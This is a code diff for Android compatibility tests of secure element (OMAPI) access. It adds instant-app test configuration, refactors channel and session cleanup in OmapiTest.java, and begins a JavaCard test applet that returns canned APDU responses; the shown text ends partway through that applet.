diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
index 2557025..1769767 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/apk/signed-CtsSecureElementAccessControlTestCases2.apk
Binary files differ
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
index 08f8942..335c08a 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner
 LOCAL_JAVA_LIBRARIES += android.test.base
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts-instant
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -47,7 +47,7 @@
 LOCAL_BUILT_MODULE_STEM := package.apk
 # Make sure the build system doesn't try to resign the APK
 LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts-instant
 
 LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/signed-CtsSecureElementAccessControlTestCases3.apk
 
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
index 1634f77..fdaafdf 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.omapi.accesscontrol3.cts">
+          package="android.omapi.accesscontrol3.cts"
+          android:targetSandboxVersion="2">
 
     <application>
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
index 9ca64da..4cab33d 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/AndroidTest.xml
@@ -16,6 +16,10 @@
 <configuration description="Config for CTS OMAPI test cases">
     <option name="test-suite-tag" value="cts"/>
     <option name="config-descriptor:metadata" key="component" value="systems"/>
+    <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="signed-CtsSecureElementAccessControlTestCases3.apk"/>
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
index 20e4a4c..ab07811 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/apk/signed-CtsSecureElementAccessControlTestCases3.apk
Binary files differ
diff --git a/tests/tests/secure_element/omapi/Android.mk b/tests/tests/secure_element/omapi/Android.mk
index 1ac3720..a8438f4 100644
--- a/tests/tests/secure_element/omapi/Android.mk
+++ b/tests/tests/secure_element/omapi/Android.mk
@@ -35,6 +35,6 @@
 LOCAL_JAVA_LIBRARIES += android.test.base
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts-instant
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/secure_element/omapi/AndroidManifest.xml b/tests/tests/secure_element/omapi/AndroidManifest.xml
index e19fb85..3743155 100644
--- a/tests/tests/secure_element/omapi/AndroidManifest.xml
+++ b/tests/tests/secure_element/omapi/AndroidManifest.xml
@@ -15,7 +15,8 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.omapi.cts">
+          package="android.omapi.cts"
+          android:targetSandboxVersion="2">
 
     <application>
         <uses-library android:name="android.test.runner"/>
diff --git a/tests/tests/secure_element/omapi/AndroidTest.xml b/tests/tests/secure_element/omapi/AndroidTest.xml
index faeb9c3..0f18f70 100644
--- a/tests/tests/secure_element/omapi/AndroidTest.xml
+++ b/tests/tests/secure_element/omapi/AndroidTest.xml
@@ -16,6 +16,10 @@
 <configuration description="Config for CTS OMAPI test cases">
     <option name="test-suite-tag" value="cts"/>
     <option name="config-descriptor:metadata" key="component" value="systems"/>
+    <option name="config-descriptor:metadata" key="token" value="SECURE_ELEMENT_SIM_CARD" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="CtsOmapiTestCases.apk"/>
diff --git a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
old mode 100755
new mode 100644
index e34d307..d8c7b65
--- a/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
+++ b/tests/tests/secure_element/omapi/src/android/omapi/cts/OmapiTest.java
@@ -18,6 +18,7 @@
 
 package android.omapi.cts;
 
+import static org.hamcrest.CoreMatchers.is;
 import static org.junit.Assert.*;
 import static org.junit.Assume.assumeTrue;
 
@@ -91,7 +92,10 @@
             {(byte) 0x94, (byte) 0x0C, 0x00, 0x00, 0x01, (byte) 0xAA, 0x00}
     };
 
-    private final static byte[] CHECK_SELECT_P2_APDU = new byte[]{0x00, (byte) 0xF4, 0x00, 0x00};
+    /* Case 2 APDU command expects the P2 received in the SELECT command as 1-byte outgoing data */
+    private static final byte[] CHECK_SELECT_P2_APDU = new byte[] {
+            0x00, (byte) 0xF4, 0x00, 0x00, 0x00
+    };
 
     /* OMAPI APDU Test case 1 and 3 */
     private final static byte[][] SW_62xx_NO_DATA_APDU =
@@ -257,18 +261,21 @@
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                Session session = reader.openSession();
-                assertNotNull("Could not open session", session);
-                Channel channel = session.openBasicChannel(null, (byte)0x00);
+                Session session = null;
+                Channel channel = null;
+                try {
+                    session = reader.openSession();
+                    assertNotNull("Could not open session", session);
+                    channel = session.openBasicChannel(null, (byte) 0x00);
+                } finally {
+                    if (channel != null) channel.close();
+                    if (session != null) session.close();
+                }
                 if (reader.getName().startsWith(UICC_READER_PREFIX)) {
                     assertNull("Basic channel on UICC can be opened", channel);
                 } else {
                     assertNotNull("Basic Channel cannot be opened", channel);
                 }
-                if (channel != null) {
-                    channel.close();
-                }
-                session.close();
             }
         } catch (Exception e) {
             fail("Unexpected Exception " + e);
@@ -283,18 +290,21 @@
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                Session session = reader.openSession();
-                assertNotNull("Could not open session", session);
-                Channel channel = session.openBasicChannel(SELECTABLE_AID, (byte)0x00);
+                Session session = null;
+                Channel channel = null;
+                try {
+                    session = reader.openSession();
+                    assertNotNull("Could not open session", session);
+                    channel = session.openBasicChannel(SELECTABLE_AID, (byte) 0x00);
+                } finally {
+                    if (channel != null) channel.close();
+                    if (session != null) session.close();
+                }
                 if (reader.getName().startsWith(UICC_READER_PREFIX)) {
                     assertNull("Basic channel on UICC can be opened", channel);
                 } else {
                     assertNotNull("Basic Channel cannot be opened", channel);
                 }
-                if (channel != null) {
-                    channel.close();
-                }
-                session.close();
             }
         } catch (Exception e) {
             fail("Unexpected Exception " + e);
@@ -304,43 +314,51 @@
     /** Tests Select API */
     @Test
     public void testSelectableAid() {
-        testSelectableAid(SELECTABLE_AID);
+        try {
+            waitForConnection();
+            Reader[] readers = seService.getReaders();
+            for (Reader reader : readers) {
+                testSelectableAid(reader, SELECTABLE_AID);
+            }
+        } catch (Exception e) {
+            fail("unexpected exception " + e);
+        }
     }
 
     @Test
     public void testLongSelectResponse() {
-        byte[] selectResponse = testSelectableAid(LONG_SELECT_RESPONSE_AID);
-        if (selectResponse == null) {
-            return;
-        }
-        assertTrue("Select Response is not complete", verifyBerTlvData(selectResponse));
-    }
-
-
-    private byte[] testSelectableAid(byte[] aid) {
         try {
             waitForConnection();
             Reader[] readers = seService.getReaders();
-
             for (Reader reader : readers) {
-                assertTrue(reader.isSecureElementPresent());
-                Session session = reader.openSession();
-                assertNotNull("Null Session", session);
-                Channel channel = session.openLogicalChannel(aid, (byte)0x00);
-                assertNotNull("Null Channel", channel);
-                byte[] selectResponse = channel.getSelectResponse();
-                assertNotNull("Null Select Response", selectResponse);
-                assertGreaterOrEqual(selectResponse.length, 2);
-                assertEquals(selectResponse[selectResponse.length - 1] & 0xFF, 0x00);
-                assertEquals(selectResponse[selectResponse.length - 2] & 0xFF, 0x90);
-                channel.close();
-                session.close();
-                return selectResponse;
+                byte[] selectResponse = testSelectableAid(reader, LONG_SELECT_RESPONSE_AID);
+                assertTrue("Select Response is not complete", verifyBerTlvData(selectResponse));
             }
         } catch (Exception e) {
-            fail("Unexpected Exception " + e);
+            fail("unexpected exception " + e);
         }
-        return null;
+    }
+
+    private byte[] testSelectableAid(Reader reader, byte[] aid) throws IOException {
+        byte[] selectResponse = null;
+        Session session = null;
+        Channel channel = null;
+        try {
+            assertTrue(reader.isSecureElementPresent());
+            session = reader.openSession();
+            assertNotNull("Null Session", session);
+            channel = session.openLogicalChannel(aid, (byte) 0x00);
+            assertNotNull("Null Channel", channel);
+            selectResponse = channel.getSelectResponse();
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
+        }
+        assertNotNull("Null Select Response", selectResponse);
+        assertGreaterOrEqual(selectResponse.length, 2);
+        assertThat(selectResponse[selectResponse.length - 1] & 0xFF, is(0x00));
+        assertThat(selectResponse[selectResponse.length - 2] & 0xFF, is(0x90));
+        return selectResponse;
     }
 
     /** Tests if NoSuchElementException in Select */
@@ -352,86 +370,107 @@
             for (Reader reader : readers) {
                 testNonSelectableAid(reader, NON_SELECTABLE_AID);
             }
-        } catch (TimeoutException e) {
+        } catch (Exception e) {
             fail("unexpected exception " + e);
         }
     }
 
-    private void testNonSelectableAid(Reader reader, byte[] aid) {
-        boolean exception = false;
+    private void testNonSelectableAid(Reader reader, byte[] aid) throws IOException {
         Session session = null;
+        Channel channel = null;
         try {
             assertTrue(reader.isSecureElementPresent());
             session = reader.openSession();
             assertNotNull("null session", session);
-            Channel channel = session.openLogicalChannel(aid, (byte)0x00);
+            channel = session.openLogicalChannel(aid, (byte) 0x00);
+            fail("Exception expected for this test");
         } catch (NoSuchElementException e) {
-            exception = true;
-            if (session != null) {
-                session.close();
-            }
-        } catch (Exception e) {
-            fail("unexpected exception " + e);
+            // Catch the expected exception here.
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
         }
-        assertTrue(exception);
     }
 
     /** Tests if Security Exception in Transmit */
     @Test
     public void testSecurityExceptionInTransmit() {
-        boolean exception = false;
-        Session session;
-        Channel channel;
         try {
             waitForConnection();
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                assertTrue(reader.isSecureElementPresent());
-                session = reader.openSession();
-                assertNotNull("null session", session);
-                channel = session.openLogicalChannel(SELECTABLE_AID, (byte)0x00);
-                assertNotNull("Null Channel", channel);
-                byte[] selectResponse = channel.getSelectResponse();
-                assertNotNull("Null Select Response", selectResponse);
-                assertGreaterOrEqual(selectResponse.length, 2);
-                assertEquals(selectResponse[selectResponse.length - 1] & 0xFF, 0x00);
-                assertEquals(selectResponse[selectResponse.length - 2] & 0xFF, 0x90);
-                for (byte[] cmd : ILLEGAL_COMMANDS_TRANSMIT) {
-                    try {
-                        exception = false;
-                        byte[] response = channel.transmit(cmd);
-                    } catch (SecurityException e) {
-                        exception = true;
+                Session session = null;
+                Channel channel = null;
+                try {
+                    assertTrue(reader.isSecureElementPresent());
+                    session = reader.openSession();
+                    assertNotNull("null session", session);
+                    channel = session.openLogicalChannel(SELECTABLE_AID, (byte) 0x00);
+                    assertNotNull("Null Channel", channel);
+                    byte[] selectResponse = channel.getSelectResponse();
+                    assertNotNull("Null Select Response", selectResponse);
+                    assertGreaterOrEqual(selectResponse.length, 2);
+                    assertThat(selectResponse[selectResponse.length - 1] & 0xFF, is(0x00));
+                    assertThat(selectResponse[selectResponse.length - 2] & 0xFF, is(0x90));
+                    for (byte[] cmd : ILLEGAL_COMMANDS_TRANSMIT) {
+                        try {
+                            byte[] response = channel.transmit(cmd);
+                            fail("Exception expected for this test");
+                        } catch (SecurityException e) {
+                            // Catch the expected exception here.
+                        }
                     }
-                    assertTrue(exception);
+                } finally {
+                    if (channel != null) channel.close();
+                    if (session != null) session.close();
                 }
-                channel.close();
-                session.close();
             }
         } catch (Exception e) {
             fail("unexpected exception " + e);
         }
     }
 
-    private byte[] internalTransmitApdu(Reader reader, byte[] apdu) {
+    private byte[] internalTransmitApdu(Reader reader, byte[] apdu) throws IOException {
+        byte[] transmitResponse = null;
+        Session session = null;
+        Channel channel = null;
         try {
             assertTrue(reader.isSecureElementPresent());
-            Session session = reader.openSession();
+            session = reader.openSession();
             assertNotNull("null session", session);
-            Channel channel = session.openLogicalChannel(SELECTABLE_AID, (byte)0x00);
+            channel = session.openLogicalChannel(SELECTABLE_AID, (byte) 0x00);
             assertNotNull("Null Channel", channel);
             byte[] selectResponse = channel.getSelectResponse();
             assertNotNull("Null Select Response", selectResponse);
             assertGreaterOrEqual(selectResponse.length, 2);
-            byte[] transmitResponse = channel.transmit(apdu);
-            channel.close();
-            session.close();
-            return transmitResponse;
-        } catch (Exception e) {
-            fail("unexpected exception " + e);
+            transmitResponse = channel.transmit(apdu);
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
         }
-        return null;
+        return transmitResponse;
+    }
+
+    private byte[] internalTransmitApduWithoutP2(Reader reader, byte[] apdu) throws IOException {
+        byte[] transmitResponse = null;
+        Session session = null;
+        Channel channel = null;
+        try {
+            assertTrue(reader.isSecureElementPresent());
+            session = reader.openSession();
+            assertNotNull("null session", session);
+            channel = session.openLogicalChannel(SELECTABLE_AID);
+            assertNotNull("Null Channel", channel);
+            byte[] selectResponse = channel.getSelectResponse();
+            assertNotNull("Null Select Response", selectResponse);
+            assertGreaterOrEqual(selectResponse.length, 2);
+            transmitResponse = channel.transmit(apdu);
+        } finally {
+            if (channel != null) channel.close();
+            if (session != null) session.close();
+        }
+        return transmitResponse;
     }
 
     /**
@@ -449,17 +488,17 @@
             for (Reader reader : readers) {
                 for (byte[] apdu : NO_DATA_APDU) {
                     byte[] response = internalTransmitApdu(reader, apdu);
-                    assertEquals(response.length, 2);
-                    assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                    assertEquals(response[response.length - 2] & 0xFF, 0x90);
+                    assertThat(response.length, is(2));
+                    assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                    assertThat(response[response.length - 2] & 0xFF, is(0x90));
                 }
 
                 for (byte[] apdu : DATA_APDU) {
                     byte[] response = internalTransmitApdu(reader, apdu);
                     /* 256 byte data and 2 bytes of status word */
-                    assertEquals(response.length, 258);
-                    assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                    assertEquals(response[response.length - 2] & 0xFF, 0x90);
+                    assertThat(response.length, is(258));
+                    assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                    assertThat(response[response.length - 2] & 0xFF, is(0x90));
                 }
             }
         } catch (Exception e) {
@@ -487,8 +526,8 @@
                         apdu[2] = (byte)(i+1);
                         byte[] response = internalTransmitApdu(reader, apdu);
                         byte[] SW = SW_62xx[i];
-                        assertEquals(response[response.length - 1], SW[1]);
-                        assertEquals(response[response.length - 2], SW[0]);
+                        assertThat(response[response.length - 1], is(SW[1]));
+                        assertThat(response[response.length - 2], is(SW[0]));
                     }
                 }
 
@@ -498,8 +537,8 @@
                     byte[] response = internalTransmitApdu(reader, apdu);
                     byte[] SW = SW_62xx[i];
                     assertGreaterOrEqual(response.length, 3);
-                    assertEquals(response[response.length - 1], SW[1]);
-                    assertEquals(response[response.length - 2], SW[0]);
+                    assertThat(response[response.length - 1], is(SW[1]));
+                    assertThat(response[response.length - 2], is(SW[0]));
                 }
 
                 for (byte i = 0x00; i < SW_62xx.length; i++) {
@@ -508,11 +547,12 @@
                     byte[] response = internalTransmitApdu(reader, apdu);
                     assertGreaterOrEqual(response.length, apdu.length + 2);
                     byte[] responseSubstring = Arrays.copyOfRange(response, 0, apdu.length);
-                    apdu[0] = 0x01;
+                    // We should not care about which channel number is actually assigned.
+                    responseSubstring[0] = apdu[0];
                     assertTrue(Arrays.equals(responseSubstring, apdu));
                     byte[] SW = SW_62xx[i];
-                    assertEquals(response[response.length - 1], SW[1]);
-                    assertEquals(response[response.length - 2], SW[0]);
+                    assertThat(response[response.length - 1], is(SW[1]));
+                    assertThat(response[response.length - 2], is(SW[0]));
                 }
             }
         } catch (Exception e) {
@@ -533,10 +573,10 @@
                     byte[] b = { 0x00, 0x00, apdu[2], apdu[3] };
                     ByteBuffer wrapped = ByteBuffer.wrap(b);
                     int expectedLength = wrapped.getInt();
-                    assertEquals(response.length, expectedLength + 2);
-                    assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                    assertEquals(response[response.length - 2] & 0xFF, 0x90);
-                    assertEquals(response[response.length - 3] & 0xFF, 0xFF);
+                    assertThat(response.length, is(expectedLength + 2));
+                    assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                    assertThat(response[response.length - 2] & 0xFF, is(0x90));
+                    assertThat(response[response.length - 3] & 0xFF, is(0xFF));
                 }
             }
         } catch (Exception e) {
@@ -544,7 +584,11 @@
         }
     }
 
-    /** Test the P2 value of the select command sent by the underlying implementation */
+    /**
+     * Tests the P2 value of the select command.
+     *
+     * Verifies that the default P2 value (0x00) is not modified by the underlying implementation.
+     */
     @Test
     public void testP2Value() {
         try {
@@ -552,11 +596,11 @@
             Reader[] readers = seService.getReaders();
 
             for (Reader reader : readers) {
-                byte[] response = internalTransmitApdu(reader, CHECK_SELECT_P2_APDU);
+                byte[] response = internalTransmitApduWithoutP2(reader, CHECK_SELECT_P2_APDU);
                 assertGreaterOrEqual(response.length, 3);
-                assertEquals(response[response.length - 1] & 0xFF, 0x00);
-                assertEquals(response[response.length - 2] & 0xFF, 0x90);
-                assertEquals(response[response.length - 3] & 0xFF, 0x00);
+                assertThat(response[response.length - 1] & 0xFF, is(0x00));
+                assertThat(response[response.length - 2] & 0xFF, is(0x90));
+                assertThat(response[response.length - 3] & 0xFF, is(0x00));
             }
         } catch (Exception e) {
           fail("unexpected exception " + e);
diff --git a/tests/tests/secure_element/sample_applet/Google-eSE-test.cap b/tests/tests/secure_element/sample_applet/Google-eSE-test.cap
new file mode 100644
index 0000000..448cadb
--- /dev/null
+++ b/tests/tests/secure_element/sample_applet/Google-eSE-test.cap
Binary files differ
diff --git a/tests/tests/secure_element/sample_applet/src/com/android/cts/omapi/test/CtsAndroidOmapiTestApplet.java b/tests/tests/secure_element/sample_applet/src/com/android/cts/omapi/test/CtsAndroidOmapiTestApplet.java
new file mode 100644
index 0000000..ff12921
--- /dev/null
+++ b/tests/tests/secure_element/sample_applet/src/com/android/cts/omapi/test/CtsAndroidOmapiTestApplet.java
@@ -0,0 +1,319 @@
+package com.android.cts.omapi.test;
+
+import javacard.framework.APDU;
+import javacard.framework.ISO7816;
+import javacard.framework.Applet;
+import javacard.framework.ISOException;
+import javacard.framework.Util;
+
+public class CtsAndroidOmapiTestApplet extends Applet {
+
+  final private static byte NO_DATA_INS_1 = (byte) 0x06;
+  final private static byte NO_DATA_INS_2 = (byte) 0x0A;
+
+  final private static byte DATA_INS_1 = (byte) 0x08;
+  final private static byte DATA_INS_2 = (byte) 0x0C;
+
+  final private static byte SW_62xx_APDU_INS = (byte) 0xF3;
+  final private static byte SW_62xx_DATA_APDU_P2 = (byte) 0x08;
+  final private static byte SW_62xx_VALIDATE_DATA_P2 = (byte) 0x0C;
+  private final static byte[] SW_62xx_VALIDATE_DATA_RESP =
+            new byte[]{0x01, (byte) 0xF3, 0x00, 0x0C, 0x01, (byte) 0xAA, 0x00};
+  private final static short[] SW_62xx_resp = new short[]{
+      (short)0x6200, (short)0x6281, (short)0x6282, (short)0x6283,
+      (short)0x6285, (short)0x62F1, (short)0x62F2, (short)0x63F1,
+      (short)0x63F2, (short)0x63C2, (short)0x6202, (short)0x6280,
+      (short)0x6284, (short)0x6286, (short)0x6300, (short)0x6381,
+  };
+
+  final public static byte SEGMENTED_RESP_INS_1 = (byte) 0xC2;
+  final public static byte SEGMENTED_RESP_INS_2 = (byte) 0xC4;
+  final public static byte SEGMENTED_RESP_INS_3 = (byte) 0xC6;
+  final public static byte SEGMENTED_RESP_INS_4 = (byte) 0xC8;
+  final public static byte SEGMENTED_RESP_INS_5 = (byte) 0xCF;
+
+  final private static byte CHECK_SELECT_P2_APDU = (byte)0xF4;
+  final public static byte GET_RESPONSE_INS = (byte) 0xC0;
+
+  final private static byte BER_TLV_TYPE = (byte) 0x1F;
+  final private static short SELECT_RESPONSE_DATA_LENGTH = (short)252;
+
+  private byte[] respBuf;
+  private short respBuffOffset = 0;
+
+  final private static short LENGTH_256 = (short) 0x0100;
+  private final static byte[] resp_bytes256 = new byte[]{
+    (byte)0x00, (byte)0x01, (byte)0x02, (byte)0x03, (byte)0x04, (byte)0x05,
+    (byte)0x06, (byte)0x07, (byte)0x08, (byte)0x09, (byte)0x0A, (byte)0x0B,
+    (byte)0x0C, (byte)0x0D, (byte)0x0E, (byte)0x0F,
+    (byte)0x10, (byte)0x11, (byte)0x12, (byte)0x13, (byte)0x14, (byte)0x15,
+    (byte)0x16, (byte)0x17, (byte)0x18, (byte)0x19, (byte)0x1A, (byte)0x1B,
+    (byte)0x1C, (byte)0x1D, (byte)0x1E, (byte)0x1F,
+    (byte)0x20, (byte)0x21, (byte)0x22, (byte)0x23, (byte)0x24, (byte)0x25,
+    (byte)0x26, (byte)0x27, (byte)0x28, (byte)0x29, (byte)0x2A, (byte)0x2B,
+    (byte)0x2C, (byte)0x2D, (byte)0x2E, (byte)0x2F,
+    (byte)0x30, (byte)0x31, (byte)0x32, (byte)0x33, (byte)0x34, (byte)0x35,
+    (byte)0x36, (byte)0x37, (byte)0x38, (byte)0x39, (byte)0x3A, (byte)0x3B,
+    (byte)0x3C, (byte)0x3D, (byte)0x3E, (byte)0x3F,
+    (byte)0x40, (byte)0x41, (byte)0x42, (byte)0x43, (byte)0x44, (byte)0x45,
+    (byte)0x46, (byte)0x47, (byte)0x48, (byte)0x49, (byte)0x4A, (byte)0x4B,
+    (byte)0x4C, (byte)0x4D, (byte)0x4E, (byte)0x4F,
+    (byte)0x50, (byte)0x51, (byte)0x52, (byte)0x53, (byte)0x54, (byte)0x55,
+    (byte)0x56, (byte)0x57, (byte)0x58, (byte)0x59, (byte)0x5A, (byte)0x5B,
+    (byte)0x5C, (byte)0x5D, (byte)0x5E, (byte)0x5F,
+    (byte)0x60, (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64, (byte)0x65,
+    (byte)0x66, (byte)0x67, (byte)0x68, (byte)0x69, (byte)0x6A, (byte)0x6B,
+    (byte)0x6C, (byte)0x6D, (byte)0x6E, (byte)0x6F,
+    (byte)0x70, (byte)0x71, (byte)0x72, (byte)0x73, (byte)0x74, (byte)0x75,
+    (byte)0x76, (byte)0x77, (byte)0x78, (byte)0x79, (byte)0x7A, (byte)0x7B,
+    (byte)0x7C, (byte)0x7D, (byte)0x7E, (byte)0x7F,
+    (byte)0x80, (byte)0x81, (byte)0x82, (byte)0x83, (byte)0x84, (byte)0x85,
+    (byte)0x86, (byte)0x87, (byte)0x88, (byte)0x89, (byte)0x8A, (byte)0x8B,
+    (byte)0x8C, (byte)0x8D, (byte)0x8E, (byte)0x8F,
+    (byte)0x90, (byte)0x91, (byte)0x92, (byte)0x93, (byte)0x94, (byte)0x95,
+    (byte)0x96, (byte)0x97, (byte)0x98, (byte)0x99, (byte)0x9A, (byte)0x9B,
+    (byte)0x9C, (byte)0x9D, (byte)0x9E, (byte)0x9F,
+    (byte)0xA0, (byte)0xA1, (byte)0xA2, (byte)0xA3, (byte)0xA4, (byte)0xA5,
+    (byte)0xA6, (byte)0xA7, (byte)0xA8, (byte)0xA9, (byte)0xAA, (byte)0xAB,
+    (byte)0xAC, (byte)0xAD, (byte)0xAE, (byte)0xAF,
+    (byte)0xB0, (byte)0xB1, (byte)0xB2, (byte)0xB3, (byte)0xB4, (byte)0xB5,
+    (byte)0xB6, (byte)0xB7, (byte)0xB8, (byte)0xB9, (byte)0xBA, (byte)0xBB,
+    (byte)0xBC, (byte)0xBD, (byte)0xBE, (byte)0xBF,
+    (byte)0xC0, (byte)0xC1, (byte)0xC2, (byte)0xC3, (byte)0xC4, (byte)0xC5,
+    (byte)0xC6, (byte)0xC7, (byte)0xC8, (byte)0xC9, (byte)0xCA, (byte)0xCB,
+    (byte)0xCC, (byte)0xCD, (byte)0xCE, (byte)0xCF,
+    (byte)0xD0, (byte)0xD1, (byte)0xD2, (byte)0xD3, (byte)0xD4, (byte)0xD5,
+    (byte)0xD6, (byte)0xD7, (byte)0xD8, (byte)0xD9, (byte)0xDA, (byte)0xDB,
+    (byte)0xDC, (byte)0xDD, (byte)0xDE, (byte)0xDF,
+    (byte)0xE0, (byte)0xE1, (byte)0xE2, (byte)0xE3, (byte)0xE4, (byte)0xE5,
+    (byte)0xE6, (byte)0xE7, (byte)0xE8, (byte)0xE9, (byte)0xEA, (byte)0xEB,
+    (byte)0xEC, (byte)0xED, (byte)0xEE, (byte)0xEF,
+    (byte)0xF0, (byte)0xF1, (byte)0xF2, (byte)0xF3, (byte)0xF4, (byte)0xF5,
+    (byte)0xF6, (byte)0xF7, (byte)0xF8, (byte)0xF9, (byte)0xFA, (byte)0xFB,
+    (byte)0xFC, (byte)0xFD, (byte)0xFE, (byte)0xFF
+  };
+
+  public static void install(byte[] bArray, short bOffset, byte bLength) {
+    // GP-compliant JavaCard applet registration
+    new com.android.cts.omapi.test.CtsAndroidOmapiTestApplet().register(bArray, (short) (bOffset + 1), bArray[bOffset]);
+  }
+
+  public void process(APDU apdu) {
+    byte[] buf = apdu.getBuffer();
+    short le, lc;
+    short sendLen;
+    byte p1 = buf[ISO7816.OFFSET_P1];
+    byte p2 = buf[ISO7816.OFFSET_P2];
+
+    if (selectingApplet()) {
+      lc = buf[ISO7816.OFFSET_LC];
+      if (buf[(short)(lc + ISO7816.OFFSET_CDATA - 1)]  == 0x31) {
+        //AID: A000000476416E64726F696443545331
+        ISOException.throwIt(ISO7816.SW_NO_ERROR);
+      } else {
+        //A000000476416E64726F696443545332
+        sendLen = fillBerTLVBytes(SELECT_RESPONSE_DATA_LENGTH);
+        le = apdu.setOutgoing();
+        apdu.setOutgoingLength((short)sendLen);
+        Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short)respBuf.length);
+        apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+        return;
+      }
+    }
+    switch (buf[ISO7816.OFFSET_INS]) {
+    case NO_DATA_INS_1:
+    case NO_DATA_INS_2:
+      ISOException.throwIt(ISO7816.SW_NO_ERROR);
+      break;
+    case DATA_INS_2:
+      apdu.setIncomingAndReceive();
+      //case 3 APDU, return 256 bytes data
+      sendLen = fillBytes((short)256);
+      le = apdu.setOutgoing();
+      apdu.setOutgoingLength((short)sendLen);
+      Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short)respBuf.length);
+      apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+      break;   
+    case GET_RESPONSE_INS:
+      apdu.setIncomingAndReceive();
+        //ISO GET_RESPONSE command
+        if (respBuf == null) {
+          ISOException.throwIt(ISO7816.SW_CONDITIONS_NOT_SATISFIED);
+        } else {
+          le = apdu.setOutgoing();
+          sendLen = (short) (respBuf.length - respBuffOffset);
+          sendLen = le > sendLen ? sendLen : le;
+          apdu.setOutgoingLength(sendLen);
+          apdu.sendBytesLong(respBuf, respBuffOffset, sendLen);
+          respBuffOffset += sendLen;
+          sendLen = (short) (respBuf.length - respBuffOffset);
+          if (sendLen > 0) {
+            if (sendLen > 256) sendLen = 0x00;
+            ISOException.throwIt((short)(ISO7816.SW_BYTES_REMAINING_00 | sendLen));
+          } else {
+            respBuf = null;
+          }
+        }
+      break;
+    case DATA_INS_1:
+      // return 256 bytes data
+      sendLen = fillBytes((short)256);
+      le = apdu.setOutgoing();
+      apdu.setOutgoingLength((short) sendLen);
+      Util.arrayCopy(respBuf, (short)0, buf, (short)0, (short)respBuf.length);
+      apdu.sendBytesLong(buf, respBuffOffset, sendLen);
+      break;
+    case SW_62xx_APDU_INS:
+      if (p1 > 16 || p1 < 1) {
+        ISOException.throwIt(ISO7816.SW_INCORRECT_P1P2);
+      } else if (p2 == SW_62xx_DATA_APDU_P2){
+        sendLen = fillBytes((short)3);
+        le = apdu.setOutgoing();
+        apdu.setOutgoingLength((short)sendLen);
